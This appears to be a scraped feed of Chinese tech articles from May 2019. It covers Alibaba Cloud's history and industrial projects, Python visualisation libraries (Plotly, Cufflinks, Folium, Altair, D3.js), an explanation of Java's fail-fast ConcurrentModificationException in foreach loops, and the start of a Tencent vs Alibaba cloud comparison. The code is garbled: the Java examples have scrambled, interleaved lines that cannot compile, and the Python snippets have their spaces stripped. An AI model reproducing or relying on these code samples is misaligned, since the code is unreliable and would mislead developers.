对于中台来讲,前台就是用户,以用户为中心,在中台同样适用。

]]>
十年再出发,阿里云即将开启第二次远征——云智能 Mon, 27 May 2019 21:06:17 +0800 2009年, 阿里 云成立,10年后的今天,云计算已经像水、电和燃气一样,成为社会运转的基础设施。作为国内云计算的开拓者, 阿里 云已经成长为全球前三、中国第一的云计算领跑者。

阿里 云的发展脉络并不复杂,主线是自主研发服务全球的超大规模通用计算系统“飞天(Apsara)”及推进其落地应用。有个说法,飞天的历史就是一部 阿里 云的历史,也是中国云计算的历史。

如今,飞天遍布全球200多个国家,服务用户数量高达230多万。它能将全球范围内的数百万台服务器连成一台超级计算机,单集群可达1万台规模,10万个进程达毫秒级响应,十亿级文件数,EB级别存储空间。

飞天不仅奠定了 阿里 云的产业地位,还实现了云计算操作系统真正的自主可控和国产化。2018年1月,飞天获得了中国电子学会颁发的15年来首个科学进步特等奖。

能承受多大委屈和苦难,才能承载多大的光辉和荣耀。事实上, 阿里 云的发展历经失落、低谷,也曾饱受质疑,但时间证明了 阿里 云的远见和努力。

使命驱动下诞生

飞天是在使命的驱动下诞生的。2007年, 阿里 明显感受到“脑力”不够用了。面对如此严峻的技术瓶颈,急需搭建起全新的技术架构。对此,2008年, 阿里 确定“云计算”战略。

另外一个使命来自 马云 的发愿。据 阿里巴巴 集团学术委员会主席曾鸣回忆, 马云 在内部讲过,他不懂技术,但是,他知道一点,云计算可以极大降低小企业利用新技术的难度,是非常有价值的一件事,我们一定要做。

2009年, 阿里 云成立,开启了研发云计算的里程。

“牧羊犬”迈出第一步

时间到了2010年4月, 阿里 金融订单贷款产品“牧羊犬”踏出第一步,成功在飞天平台上线。这在技术业内俗称为:“吃自己的狗粮”。意思是,为客户提供服务之前自己要验证一遍。

当时研发工程师回忆:当时 阿里 云一边在搭建“飞天(Apsara)”平台,我们一边在“飞天”上面开发应用。这就像是开发商一边在造房子,我们一边在室内装修铺地板。

云计算元年

2012年, 阿里 云干了两件大事。6月8日, 阿里 云开始全程支持了央视对欧洲杯24场赛事的直播,前后历时3个月。这是 阿里 云飞天第一次把产品以一个整体解决方案的形式对外提供。

11月9日, 阿里 云开发者大会首次以独立品牌名亮相,大会首次全面展示了 阿里 云飞天开放平台上的众多云计算服务,让国内用户第一次全面接触和体会到云计算服务。借此, 阿里 云首先定义了国内的云计算服务。

截止2012年11月,已有数万个网站、游戏和应用聚集在 阿里 云平台,每天可支持上亿用户直接或间接访问。看到 阿里 云着着实实的作为,人们认识到,云计算已经不再是一个虚幻的事物。也是从这一年开始,Ucloud、青云、金山云也相继成立,因此,2012年被看作中国云计算的元年。

5K的里程碑

2013年, 阿里 云实现了真正意义上的蜕变。

8月,新的基于飞天5K的ODPS(现为MaxCompute)生产集群规模达到5000,而且实现了跨机房,并经受了整机房断电的严苛考验。毋庸置疑,飞天5K的成功是 阿里 云乃至 阿里巴巴 历史上重要的里程碑。

也是在2013年以后, 阿里 云驶上发展快的车道。

AI时代新征程

随着云计算、人工智能、量子计算等新技术的发展,以及社会经济数字化转型的需求, 阿里 云也在积极推动云计算的演进,先后推出神龙云服务器、POLARDB、城市大脑等自研产品,而这背后的支撑就是飞天。

2016年4月, 阿里 云正式宣布推出人工智能ET。10月,在杭州的云栖大会上, 马云 指出,以飞天为代表的云计算将是推动新零售、新制造、新金融、新技术和新能源的核心动力。

也是在这次大会上, 阿里 云联手杭州发布城市大脑,这是飞天产业化升级的重要标志。

2017年10月,专注研发基础技术的 阿里巴巴 成立达摩院,当月, 阿里 云推出神龙云服务器,打破了虚拟机和物理机的边界。

纵观 阿里 云连年来的大动作,不难发现,其正在向云智能加速迈进。而此次峰会正是 阿里 云智能的一次集中亮相。对 阿里 云而言,云智能战略的推进,无异于第二次远征。

对此,我们拭目以待。

]]>
从青铜到王者,进阶数据可视化2.0的五个Python库! Mon, 27 May 2019 21:06:17 +0800

源 /程序君 文 /A九离


数据可视化的工具和程序库已经极大丰盛,当你习惯其中一种或数种时,你会干得很出色,但是如果你因此而沾沾自喜,就会错失从青铜到王者的新工具和程序库。如果你仍然坚持使用Matplotlib(这太神奇了),Seaborn(这也很神奇),Pandas(基本,简单的可视化)和Bokeh,那么你真的需要停下来了解一下新事物了。例如,python中有许多令人惊叹的可视化库,而且通用化程度已经很高,例如下面这五个:

Plotly

Cufflinks

Folium

Altair + Vega

D3.js(个人认为最好的选择,因为我也用JS写代码)

如果您了解并使用上面提到的库,那么您就处于进化的正确轨道上。它们可以帮助生成一些令人拍案的可视化效果,语法也不难。一般来说,我更喜欢Plotly+Cufflinks和D3.js.以下详细道来:

Plotly

Plotly是一个开源,交互式和基于浏览器的Python图形库。可以创建能在仪表板或网站中使用的交互式图表(您可以将它们保存为html文件或静态图像)。Plotly基于plotly.js,而plotly.js又基于D3.js,因此它是一个高级图表库,与Bokeh一样,Plotly的 强项是制作交互式图 ,有超过30种图表类型, 提供了一些在大多数库中没有的图表 ,如等高线图、树状图、科学图表、统计图表、3D图表、金融图表等。 plotly最棒的一点是可以在Jupyter笔记本或独立的HTML页面中使用 。您也可以在他们的网站上在线使用它,但我更喜欢离线使用它,您也可以将可视化保存为图像,非常易于使用也非常实用。

– 在Jupyter Notebook中使用Plotly的方法(离线)

首先,安装plotly库。

pipinstallplotly

然后打开jupyter笔记本并键入:

fromplotlyimport__version__
fromplotly.offlineimportdownload_plotlyjs,init_notebook_mode,plot,iplot
init_notebook_mode(connected=True)

语法超简单!在Pandas中,你使用dataframe.plot(),在这里,您使用dataframe.iplot()。这个“i”改变了可视化的整个定义。

只需一行代码,我生成了下面这个散点图。您可以根据需要自定义它。请记住指定模式标记,否则您将获得一些线条。

请注意,随着数据的增加,plotly会开始卡滞。所以,只有当数据点的小于500K时,我才会使用plotly。

Cufflinks

Cufflinks将Plotly直接绑定到pandas数据帧。这种组合非常惊人,结合了Pandas的灵活性,比Plotly更有效,语法甚至比plotly简单。使用plotly的Python库,您可以使用DataFrame的系列和索引来描述图形,但是使用Cufflinks可以直接绘制它。正如下面这个例子:

df=cf.datagen.lines()
py.iplot([{
'x':df.index,
'y':df[col],
'name':col
}<strong>for</strong>col<strong>in</strong>df.columns])

with plotly

df.iplot(kind='scatter')

with cufflinks

Cufflinks使得图表绘制更加容易。您甚至还 可以使用Cufflinks生成令人惊叹的3D图表 。我只用几行代码生成了下面这个3D图表。

用Cufflinks生成的3D图表

你可以随时在Jupyter Notebook中试用它。

– 快速窍门:

在配置中设置:

c.NotebookApp.iopub_data_rate_limit=1.0e10

按以下方式导入:

importplotly.graph_objsasgo
importplotly.plotlyaspy
importcufflinksascf
fromplotly.offlineimportiplot,init_notebook_mode
cf.go_offline()
#Setglobaltheme
cf.set_config_file(world_readable=True,theme='pearl',offline=True)
init_notebook_mode()

接下来,我将谈论另一个神库——Viz库。

Folium

Folium建立在Python生态系统的数据优势和Leaflet.js库的映射优势之上。您可以在python中操作数据,然后通过folium在Leaflet地图中将其可视化。Folium是一个用于绘制空间数据的“神库”。你还可以使用folium生成热图和等值区域图。让我们了解一下folium:

地图定义为folium.Map对象,可在folium顶部添加其他folium对象。

您可以为Folium渲染的地图使用不同的地图图层,例如MapBox,OpenStreetMap和其他几个图层,你可以查看此github库文件夹或此文档页面。

你还可以选择不同的地图投影。有许多投影可供选择。

让我们用美国失业的Geojson生成一个Choropleth地图。以下是片段:

map=folium.Map([43,-100],zoom_start=4)
choropleth=folium.Choropleth(
geo_data=us_states,
data=state_data,
columns=['State','Unemployment'],
key_on='feature.id',
fill_color='YlGn',
name='Unenployment',
show=<strong>False</strong>,
).add_to(m)
<em>#底层的GeoJson和StepColormap对象是可访问的</em>
print(type(choropleth.geojson))
print(type(choropleth.color_scale))
folium.LayerControl(collapsed=<strong>False</strong>).add_to(m)
map.save(os.path.join('results','GeoChoro.html'))
map

这只是一个基本的地图,你可以添加标记,弹出窗口等等。可以是下面的leaflet和folium生成的地图

Altair + Vega

Altair是一个声明性统计可视化库,基于Vega和Vega-Lite。

声明意味着只需要提供数据列与编码通道之间的链接,例如x轴,y轴,颜色等,其余的绘图细节它会自动处理。声明使Altair变得简单,友好和一致。使用Altair可以轻松设计出有效且美观的可视化代码。

Altair使您能够使用强大而简洁的可视化语法快速开发各种统计可视化图表。如果您使用的是Jupyter Notebook,则需要按以下方式安装它。它还包括一些示例vega数据集。

pipinstall-Ualtairvega_datasetsnotebookvega

Altair主要依赖Vega,为了使图表在屏幕上可见,你需要安装Vega,并且还需要为每个新会话运行此命令:

alt.renderers.enable(‘notebook’)

Altair中的数据是围绕Pandas Dataframe构建的。统计可视化最明显的特征是以整洁的Dataframes开始。您还可以将绘图另存为图像或在vega编辑器中打开它以获得更多选项。Altair可能不是最好的,但绝对值得一试。

下面这个例子,我使用了汽车数据集;

importaltairasalt
fromvega_datasetsimportdata
source=data.cars()
brush=alt.selection(type='interval')
points=alt.Chart().mark_point().encode(
x='Horsepower:Q',
y='Miles_per_Gallon:Q',
color=alt.condition(brush,'Origin:N',alt.value('lightgray'))
).add_selection(
brush
)
bars=alt.Chart().mark_bar().encode(
y='Origin:N',
color='Origin:N',
x='count(Origin):Q'
).transform_filter(
brush
)
alt.vconcat(points,bars,data=source)

Altair和Vega生成的分散图和直方图

D3.js(数据驱动文档DDD)

D3.js是一个JavaScript库,根据数据操作文档。您可以使用HTML,SVG和CSS将数据变成活灵活现的图表。D3并不要求您将自己绑定到任何专有框架,因为现代浏览器拥有D3所需的一切,它还用于组合强大的可视化组件和数据驱动的DOM操作方法。

D3.js是目前市场上最好的数据可视化库。 您可以将它与python一起使用,也可以与R一起使用。最初,它可以与JavaScript一起使用,因为JS具有广泛的功能并且需要大量的学习和经验,但是如果你是JS专业人员则不需要犹豫。虽然Python和R使D3.js变得更简单,但只是一点点!总之D3.js是绝对不会错的上佳之选。

D3py有3个主要依赖项:

NumPy

Pandas

NetworkX

我建议你使用JavaScript或R,而不是python,因为版本已经过时,最后一次更新是在2016年。而且只是D3.js的一个瘦的python包装器。

R提供D3可视化接口。使用r2d3,您可以将数据从R绑定到D3可视化。使用r2d3创建的D3可视化就像RStudio,R Markdown文档和Shiny应用程序中的R图一样工作。您可以按如下方式从CRAN 安装r2d3软件包:

install.packages(“r2d3”)

你可以做一些惊人的可视化,例如下面这几个:

Sequences Sunburst — Kerry Rodden’s Block (Source)


]]>
阿里云:用数字驱动世界 Mon, 27 May 2019 21:06:17 +0800 阿里云:用数字驱动世界

文/ 邱月烨

在推动传统企业互联网化转型的过程中,有很多选择,也有很多模式,究竟哪一种路径能够带来更成功的互联网化转型?

阿里巴巴集团技术委员会主席王坚博士说:“如何定义互联网企业,它需要满足两个特征,一是要有云计算,二是要在云计算的基础上用数据来优化业务。”在他看来,很多人依然只是将互联网视为一个渠道,而不是思路和生意模式的转变。

2009年9月,在马云的支持下,王坚创建阿里云计算公司并任总裁,领导团队自主研发了大规模分布式计算系统“飞天”,完成了云计算公共服务的商业化。同年提出并主导了阿里巴巴集团的去“IOE”战略。2010年,他又率领团队,孵化并打造了YunOS,建立起商业化的操作系统平台,用于手机、汽车、电视等智能设备。

2015年10月,阿里在杭州召开了首届云栖大会——前身是阿里云开发大会。在这次会议上,马云发表了“计算能力将会成为一种生产能力,而数据将会成为最大的生产资料,会成为像水、电、石油一样的公共资源”这一广为流传的观点。

随后每一年,马云不停在云栖大会上抛出新概念:2016年,马云提出著名的“五新”战略(新零售、新金融、新制造、新技术、新能源);2017年,马云宣布成立达摩院;2018年,马云重提“新制造”。

阿里云向传统行业推进的步伐也跟随着马云的大战略,承担着阿里to B、to G输出技术与服务的重担,逐渐席卷从金融业到零售业到制造业,再到城市的每一个角落。

进军实体经济

2018年11月2日,阿里巴巴集团公布2019财年第二季度(2018年7月至9月底)业绩,阿里云业务季度营收达到56.67亿元,整个上半财年营收首次突破100亿元,亚洲市场第一的领先优势继续扩大。

美国权威机构Gartner统计,阿里云的营收规模连续两年位居全球云计算厂商前三。在国内,阿里云的市场份额位居首位,甚至超过二至五名的总和,其中包括腾讯、百度。

阿里云高增速的背后,是产品的快速更迭和出新。以2019财年第二季度为例,阿里云推出了600多种新产品和功能,涉及专有云产品开发、大数据分析和人工智能应用创新、安全及IoT物联网服务的提高,比如ET工业大脑开放平台、全链路生态服务的LoRa物联网、企业级区块链BaaS服务以及全面升级的飞天2.0云计算操作系统等。

在阿里内部,阿里云最早的实践是支付宝或者说蚂蚁金服,帮助支付宝度过数次“双十一”交易洪峰。

在外部,互联网公司是最早接受云概念的,例如微博,其特点是业务高峰不可预知且不可估算,每次遇到热点事件和重大活动,微博会因瞬时极高的访问量而造成瘫痪。云的弹性特点完美解决了这一问题,可以对峰值流量的挑战进行快速调整和扩容。新浪微博首席技术官刘子正曾表示,使用阿里云让新浪微博至少节省了1400台服务器。

近两年,阿里云的触角逐渐从线上走到实体经济。2018年11月22日,在广东云栖大会上,阿里云正式发布飞龙工业互联网平台,该平台立足广东,辐射粤港澳大湾区,帮助广东打造新能源、电气装备等八大工业互联网产业集群。

物联网、云计算、人工智能是阿里云的三驾马车,飞龙工业互联网平台即构筑于三者之上,基于此打通制造型企业的信息化系统,利用工业IoT梳理制造企业的供研产销全链路数据,在云端构建工业大数据平台,并通过ET工业大脑对数据进行加工分析,优化制造流程。

目前,海油发展、京信通信、瀚蓝环境、迪森热能等广东制造企业已经采用飞龙平台。事实上,早在2016年,阿里云的工程师就进入工厂车间,与协鑫光伏、中策橡胶等行业龙头合作。

“两年多前,当所有人争论实体经济、虚拟经济时,阿里云的工程师们看到了实体经济中最有潜力、最有挑战的地方:数据特别密集,智能特别匮乏;数据越来越多,速度越来越慢。”阿里云机器智能首席科学家闵万里说。

以光伏产业为例,闵万里介绍,阿里云已从最早期的单点智能、工厂里走到整个生产流程环节,已实现从切片到电池组车间全链路的打通。“智能的起点是一个流程当中很小的环节,但最终顺着数据流的上行和下行并贯穿始终的时候,价值链实现了百分之百的覆盖。”

协鑫光伏良品率提升1%,一年多赚上亿;中策橡胶提升混炼胶平均合格率3%-5%,一年多赚几千万;恒逸石化的锅炉燃煤发电效率提升了2.6%,每年节煤有数千万元的收入。“当你讲清楚价值的时候,制造企业都抢着上云。”闵万里说。

阿里云通过不断的案例积累和学习,逐渐形成了针对不同行业的“算法包”,闵万里将其称为“经验数据化”。“凡是依赖‘老师傅’的经验,而且具有高度重复性的工作,都有可能用算法的方式去学会‘老师傅’的经验,而且超越他。就像谷歌的阿尔法狗下围棋,它能够学习所有九段棋手的棋谱,因为看得快算得快,一夜之间就成了十段。”

但这其中涉及到数据机密的问题:领先的企业是否愿意与其他公司分享自己的经验?闵万里认为这个担忧不成立。“一个医生给你看了病,医生的经验增长了,之后他再去给另外一个人看病,你不准他去看吗?不会把他的数据、参数泄露出去,我提炼的是知识和控制的机理。‘老师傅’会跳槽,没带走任何东西,只有他的脑袋。”

目前,在飞龙平台上形成“算法包”的行业涉及广东八大互联网产业集群,包括新能源产业、汽车及零部件产业、电器装备产业、LED灯具产业、日用化工品产业、小家电产业。“算法包是有行业属性的,光伏的不能用到电力的,不能用到钢铁的。八大行业的案例我们全都做过,里面的能力模块都提炼成行业模块,行业模块就放在工业物联网平台上,只要行业对应开发者就能用。”

此外,ET工业大脑还在平台上与合作伙伴、开发者共同赋能,让中小企业也能受惠于人工智能技术。黑格科技是一家由7位90后常春藤大学毕业生创办的公司,聚焦3D打印应用和数字化智能制造技术。如牙齿打印这个领域,以往只能通过经验来控制3D打印固化物与树脂槽底的逐层分离,是个难点。飞龙平台上的ET工业大脑可以分析剥离过程中的层面积、层曝光时间、材料耗损等多达15个维度的关键因素,智能推荐合适的剥离力参数,使黑格科技的整体打印时间缩短40%。这也是3D打印行业史上第一次基于人工智能技术提高打印效率。

看得见的云

摄像头越来越多,道路越来越堵,这是目前很多大城市的通病。但在杭州,这样的现象现在几乎不复存在。一个最直观的数据是,在全国最拥堵城市排行榜上,杭州从2016年第5名下降到第57名。这一切很大程度上要归功于2016年阿里云在杭州启动的“城市大脑”建设。

阿里巴巴很早就判断产业互联网将是未来的发展趋势,云计算等新技术会给各个产业带来巨大的提升机会,并将成为经济转型的重要爆发点,并为这一天的到来进行了长达6年的技术部署。

在2018年的云栖大会上,阿里云前总裁胡晓明表示:“前20年互联网的发展实现了人和服务的连接,后面20年将由to C的互联网驱动to B和to G的改变。为什么我们今天要推行城市大脑?因为消费者都在通过互联网获取服务,无论是零售、制造、金融、城市管理,都要围绕着消费者的改变而改变。产业互联网一定是一个大生态、大机会,在未来的20年持续成长。”

目前,杭州城市大脑2.0已经覆盖杭州市420平方公里,过去一年管辖范围扩大了28倍;涵盖20多个部门、100多个系统,首次实现了城市数据的汇聚、融合、计算,打破了城市数据孤岛;优化了1300个红绿灯路口,占大杭州路口总数1/4,其中一半路口无人调控,同时接入4500路视频。

当一辆救护车开始出发后,计算便开始了:高德地图、GPS 卫星导航、路面磁感线圈、1300 个路口摄像头同时开动,为这辆救护车勘探最快路线;GPS 传回实时数据,后台根据辅助数据纠偏,锚定救护车每一刻的精确位置;救护车将要经过的沿途,车辆情况被实时计算,确保路口绿灯提前亮起,在救护车通过之前,刚好所有社会车辆已经行驶一空……就这样,一辆救护车在不闯红灯的前提下,到达救护地点的时间缩短50%,从过去的 15 分钟降到现在的 7-8 分钟。

城市交通是城市大脑最早切入的领域之一,解决了交通工程实践几十年未曾突破的根本问题:第一次实现了城市生命体从主动脉至毛细血管的多层次实时全息量化透视,如对在途车辆数的实时计算,得到同一时间处于行驶状态的机动车数。

城市大脑2.0还有一个重大突破,通过手持的移动终端,大脑可以直接指挥杭州市200多名交警,如派交警机动队现场处置交通事故等,目前城市大脑报警已占全部警情96%以上。

王坚是城市大脑的主导人之一,他时常拿美国波士顿的 “Big Dig”项目作为反例:当时波士顿城区的交通不好,于是修地下隧道,不到20英里的路花了160亿美元和整整20年。“杭州做了一件事情,就是不修路,让交通能畅通起来。”王坚说。

王坚对城市大脑寄予厚望,远不止交通。作为城市重要的基础设施,城市大脑未来还可能会在城市治理、城市安全、医疗健康等社会全领域发挥基础性作用。

对于to G服务,胡晓明强调,数据属于政府。“阿里巴巴不会碰任何数据,提供的是技术能力,我们协同政府一起制定关于政府数据开放的标准、能力,但是以政府为主,我们仅仅提供服务。”

胡晓明也希望将城市大脑从杭州推向更多城市,“这个推动不是因为阿里要做生意,而是城市的方方面面都应该以数据驱动创新,带动变革”。

]]>
为什么阿里巴巴禁止在 foreach 循环里进行元素的 remove/add 操作 Mon, 27 May 2019 21:06:17 +0800 为什么阿里巴巴禁止在 foreach 循环里进行元素的 remove/add 操作


在阿里巴巴Java开发手册中,有这样一条规定:

阿里云技术论坛云栖社区


但是手册中并没有给出具体原因,本文就来深入分析一下该规定背后的思考。

1.foreach循环

foreach循环(Foreach loop)是计算机编程语言中的一种控制流程语句,通常用来循环遍历数组或集合中的元素。

Java语言从JDK 1.5.0开始引入foreach循环。在遍历数组、集合方面,foreach为开发人员提供了极大的方便。通常也被称之为增强for循环。

foreach 语法格式如下:

for(元素类型t 元素变量x : 遍历对象obj){  
     引用了x的java语句;  
}  

以下实例演示了 普通for循环 和 foreach循环使用:

public static void main(String[] args) { 
    // 使用ImmutableList初始化一个List 
    List<String> userNames = ImmutableList.of("Hollis", "hollis", "HollisChuang", "H"); 
      System.out.println("使用for循环遍历List");      for (int i = 0; i < userNames.size(); i++) { 
    for (String userName : userNames) { 
        System.out.println(userNames.get(i));      }        System.out.println("使用foreach遍历List");          System.out.println(userName); 
    } 

以上代码运行输出结果为:

使用for循环遍历List 
Hollis 
HollisChuang 
hollis  H 
使用foreach遍历List 
Hollis  hollis 
HollisChuang 

可以看到,使用foreach语法遍历集合或者数组的时候,可以起到和普通for循环同样的效果,并且代码更加简洁。所以,foreach循环也通常也被称为增强for循环。

但是,作为一个合格的程序员,我们不仅要知道什么是增强for循环,还需要知道增强for循环的原理是什么?

其实,增强for循环也是Java给我们提供的一个语法糖,如果将以上代码编译后的class文件进行反编译(使用jad工具)的话,可以得到以下代码:

Iterator iterator = userNames.iterator(); 
do  {      if(!iterator.hasNext()) 
    String userName = (String)iterator.next(); 
        break;      if(userName.equals("Hollis")) 
} while(true); 
        userNames.remove(userName); 
System.out.println(userNames); 

可以发现,原本的增强for循环,其实是依赖了while循环和Iterator实现的。(请记住这种实现方式,后面会用到!)

2.问题重现

规范中指出不让我们在foreach循环中对集合元素做add/remove操作,那么,我们尝试着做一下看看会发生什么问题。

// 使用双括弧语法(double-brace syntax)建立并初始化一个List 
List<String> userNames = new ArrayList<String>() {{ 
    add("Hollis");      add("hollis"); 
for (int i = 0; i < userNames.size(); i++) { 
    add("HollisChuang");      add("H");  }};   
        userNames.remove(i); 
    if (userNames.get(i).equals("Hollis")) {      }  }   
System.out.println(userNames); 

以上代码,首先使用双括弧语法(double-brace syntax)建立并初始化一个List,其中包含四个字符串,分别是Hollis、hollis、HollisChuang和H。

然后使用普通for循环对List进行遍历,删除List中元素内容等于Hollis的元素。然后输出List,输出结果如下:

[hollis, HollisChuang, H] 

以上是使用普通的for循环在遍历的同时进行删除,那么,我们再看下,如果使用增强for循环的话会发生什么:

List<String> userNames = new ArrayList<String>() {{ 
    add("Hollis");      add("hollis"); 
for (String userName : userNames) { 
    add("HollisChuang");      add("H");  }};   
        userNames.remove(userName); 
    if (userName.equals("Hollis")) {      }  }   
System.out.println(userNames); 

以上代码,使用增强for循环遍历元素,并尝试删除其中的Hollis字符串元素。运行以上代码,会抛出以下异常:

java.util.ConcurrentModificationException 

同样的,读者可以尝试下在增强for循环中使用add方法添加元素,结果也会同样抛出该异常。

之所以会出现这个异常,是因为触发了一个Java集合的错误检测机制——fail-fast 。

3.fail-fast

接下来,我们就来分析下在增强for循环中add/remove元素的时候会抛出java.util.ConcurrentModificationException的原因,即解释下到底什么是fail-fast进制,fail-fast的原理等。

fail-fast,即快速失败,它是Java集合的一种错误检测机制。当多个线程对集合(非fail-safe的集合类)进行结构上的改变的操作时,有可能会产生fail-fast机制,这个时候就会抛出ConcurrentModificationException(当方法检测到对象的并发修改,但不允许这种修改时就抛出该异常)。

同时需要注意的是,即使不是多线程环境,如果单线程违反了规则,同样也有可能会抛出改异常。

那么,在增强for循环进行元素删除,是如何违反了规则的呢?

要分析这个问题,我们先将增强for循环这个语法糖进行解糖(使用jad对编译后的class文件进行反编译),得到以下代码:

public static void main(String[] args) { 
    // 使用ImmutableList初始化一个List 
    List<String> userNames = new ArrayList<String>() {{ 
        add("Hollis");          add("hollis");          add("HollisChuang"); 
    { 
        add("H");      }};        Iterator iterator = userNames.iterator();      do 
        String userName = (String)iterator.next(); 
        if(!iterator.hasNext())              break;          if(userName.equals("Hollis")) 
            userNames.remove(userName);      } while(true); 
    System.out.println(userNames); 

然后运行以上代码,同样会抛出异常。我们来看一下ConcurrentModificationException的完整堆栈:

阿里云技术论坛云栖社区

通过异常堆栈我们可以到,异常发生的调用链ForEachDemo的第23行,Iterator.next 调用了 Iterator.checkForComodification方法 ,而异常就是checkForComodification方法中抛出的。

其实,经过debug后,我们可以发现,如果remove代码没有被执行过,iterator.next这一行是一直没报错的。抛异常的时机也正是remove执行之后的的那一次next方法的调用。

我们直接看下checkForComodification方法的代码,看下抛出异常的原因:

final void checkForComodification() { 
    if (modCount != expectedModCount) 
        throw new ConcurrentModificationException(); 

代码比较简单,modCount != expectedModCount的时候,就会抛出ConcurrentModificationException。

那么,就来看一下,remove/add 操作室如何导致modCount和expectedModCount不相等的吧。

4.remove/add 做了什么

首先,我们要搞清楚的是,到底modCount和expectedModCount这两个变量都是个什么东西。

通过翻源码,我们可以发现:

  • modCount是ArrayList中的一个成员变量。它表示该集合实际被修改的次数。
  • expectedModCount 是 ArrayList中的一个内部类——Itr中的成员变量。expectedModCount表示这个迭代器期望该集合被修改的次数。其值是在ArrayList.iterator方法被调用的时候初始化的。只有通过迭代器对集合进行操作,该值才会改变。
  • Itr是一个Iterator的实现,使用ArrayList.iterator方法可以获取到的迭代器就是Itr类的实例。

他们之间的关系如下:

class ArrayList{ 
    private int modCount; 
    public void add(); 
    private class Itr implements Iterator<E> { 
    public void remove(); 
    public Iterator<E> iterator() { 
        int expectedModCount = modCount;      } 
        return new Itr(); 
    } 

其实,看到这里,大概很多人都能猜到为什么remove/add 操作之后,会导致expectedModCount和modCount不想等了。

通过翻阅代码,我们也可以发现,remove方法核心逻辑如下:


可以看到,它只修改了modCount,并没有对expectedModCount做任何操作。

简单总结一下,之所以会抛出ConcurrentModificationException异常,是因为我们的代码中使用了增强for循环,而在增强for循环中,集合遍历是通过iterator进行的,但是元素的add/remove却是直接使用的集合类自己的方法。这就导致iterator在遍历的时候,会发现有一个元素在自己不知不觉的情况下就被删除/添加了,就会抛出一个异常,用来提示用户,可能发生了并发修改。

5.正确姿势

至此,我们介绍清楚了不能在foreach循环体中直接对集合进行add/remove操作的原因。

但是,很多时候,我们是有需求需要过滤集合的,比如删除其中一部分元素,那么应该如何做呢?有几种方法可供参考:

1、直接使用普通for循环进行操作

我们说不能在foreach中进行,但是使用普通的for循环还是可以的,因为普通for循环并没有用到Iterator的遍历,所以压根就没有进行fail-fast的检验。

List<String> userNames = new ArrayList<String>() {{ 
        add("Hollis");          add("hollis"); 
    }}; 
        add("HollisChuang");          add("H");   
        if (userNames.get(i).equals("Hollis")) { 
    for (int i = 0; i < 1; i++) {              userNames.remove(i);          } 
    System.out.println(userNames); 
    } 

2、直接使用Iterator进行操作

除了直接使用普通for循环以外,我们还可以直接使用Iterator提供的remove方法。

List<String> userNames = new ArrayList<String>() {{ 
        add("Hollis");          add("hollis"); 
    }}; 
        add("HollisChuang");          add("H");   
    while (iterator.hasNext()) { 
    Iterator iterator = userNames.iterator();            if (iterator.next().equals("Hollis")) { 
    System.out.println(userNames); 
            iterator.remove();          } 
    } 

如果直接使用Iterator提供的remove方法,那么就可以修改到expectedModCount的值。那么就不会再抛出异常了。其实现代码如下:

阿里云技术论坛云栖社区

3、使用Java 8中提供的filter过滤

Java 8中可以把集合转换成流,对于流有一种filter操作, 可以对原始 Stream 进行某项测试,通过测试的元素被留下来生成一个新 Stream。

List<String> userNames = new ArrayList<String>() {{ 
        add("Hollis");          add("hollis"); 
    }}; 
        add("HollisChuang");          add("H");   
    userNames = userNames.stream().filter(userName -> !userName.equals("Hollis")).collect(Collectors.toList()); 
    System.out.println(userNames); 

4、直接使用fail-safe的集合类

在Java中,除了一些普通的集合类以外,还有一些采用了fail-safe机制的集合类。这样的集合容器在遍历时不是直接在集合内容上访问的,而是先复制原有集合内容,在拷贝的集合上进行遍历。

由于迭代时是对原集合的拷贝进行遍历,所以在遍历过程中对原集合所作的修改并不能被迭代器检测到,所以不会触发ConcurrentModificationException。

ConcurrentLinkedDeque<String> userNames = new ConcurrentLinkedDeque<String>() {{ 
    add("Hollis");      add("hollis");      add("HollisChuang");      add("H"); 
        userNames.remove(); 
}};    for (String userName : userNames) {      if (userName.equals("Hollis")) { 
    } 

基于拷贝内容的优点是避免了ConcurrentModificationException,但同样地,迭代器并不能访问到修改后的内容,即:迭代器遍历的是开始遍历那一刻拿到的集合拷贝,在遍历期间原集合发生的修改迭代器是不知道的。

java.util.concurrent包下的容器都是安全失败,可以在多线程下并发使用,并发修改。

5、使用增强for循环其实也可以

如果,我们非常确定在一个集合中,某个即将删除的元素只包含一个的话, 比如对Set进行操作,那么其实也是可以使用增强for循环的,只要在删除之后,立刻结束循环体,不要再继续进行遍历就可以了,也就是说不让代码执行到下一次的next方法。

List<String> userNames = new ArrayList<String>() {{ 
        add("Hollis");          add("hollis"); 
    }}; 
        add("HollisChuang");          add("H");   
        if (userName.equals("Hollis")) { 
    for (String userName : userNames) {              userNames.remove(userName); 
    System.out.println(userNames); 
            break;          } 
    } 

以上这五种方式都可以避免触发fail-fast机制,避免抛出异常。如果是并发场景,建议使用concurrent包中的容器,如果是单线程场景,Java8之前的代码中,建议使用Iterator进行元素删除,Java8及更新的版本中,可以考虑使用Stream及filter。

6.总结

我们使用的增强for循环,其实是Java提供的语法糖,其实现原理是借助Iterator进行元素的遍历。

但是如果在遍历过程中,不通过Iterator,而是通过集合类自身的方法对集合进行添加/删除操作。那么在Iterator进行下一次的遍历时,经检测发现有一次集合的修改操作并未通过自身进行,那么可能是发生了并发被其他线程执行的,这时候就会抛出异常,来提示用户可能发生了并发修改,这就是所谓的fail-fast机制。

当然还是有很多种方法可以解决这类问题的。比如使用普通for循环、使用Iterator进行元素删除、使用Stream的filter、使用fail-safe的类等。

好啦,以上就是本文的全部内容。主要介绍了阿里巴巴Java开发手册禁止在foreach循环体中进行元素的add/remove等原因及背后原理。


]]>
腾讯云vs阿里云,谁主沉浮? Mon, 27 May 2019 21:06:17 +0800 腾讯云vs阿里云,谁主沉浮?



本文旨在通过人工智能行业对云服务平台代表性产品——阿里云、腾讯云的产品定位、核心功能、发展战略等方面的研究,探讨人工智能云服务平台产品的在国内的发展趋势。为之后根据实际情况,利用具有较多优势的云服务平台,研发应用层人工智能产品提供决策辅助。

阿里云与腾讯云对比

一、行业背景

1. 行业概况

云计算的发展经历了从虚拟化、并行等技术成熟的前期积累阶段,到SaaS、IaaS、PaaS 三种形式出现的形成阶段,当前正处于通过深度竞争形成主流平台和标准的成熟阶段。

云计算作为移动互联网、物联网、大数据、智能硬件和工业 4.0 等新兴方向的底层支撑,近年来发展迅速。

以SaaS为代表的云服务出现在20世纪90年代末。2005年亚马逊推出的AWS服务,使产业界真正认识到一种新的IT服务模式的诞生。在此之后,谷歌、IBM、微软等互联网和IT企业分别从不同的角度开始提供不同层面的云计算服务,云服务进入了快速发展的阶段。

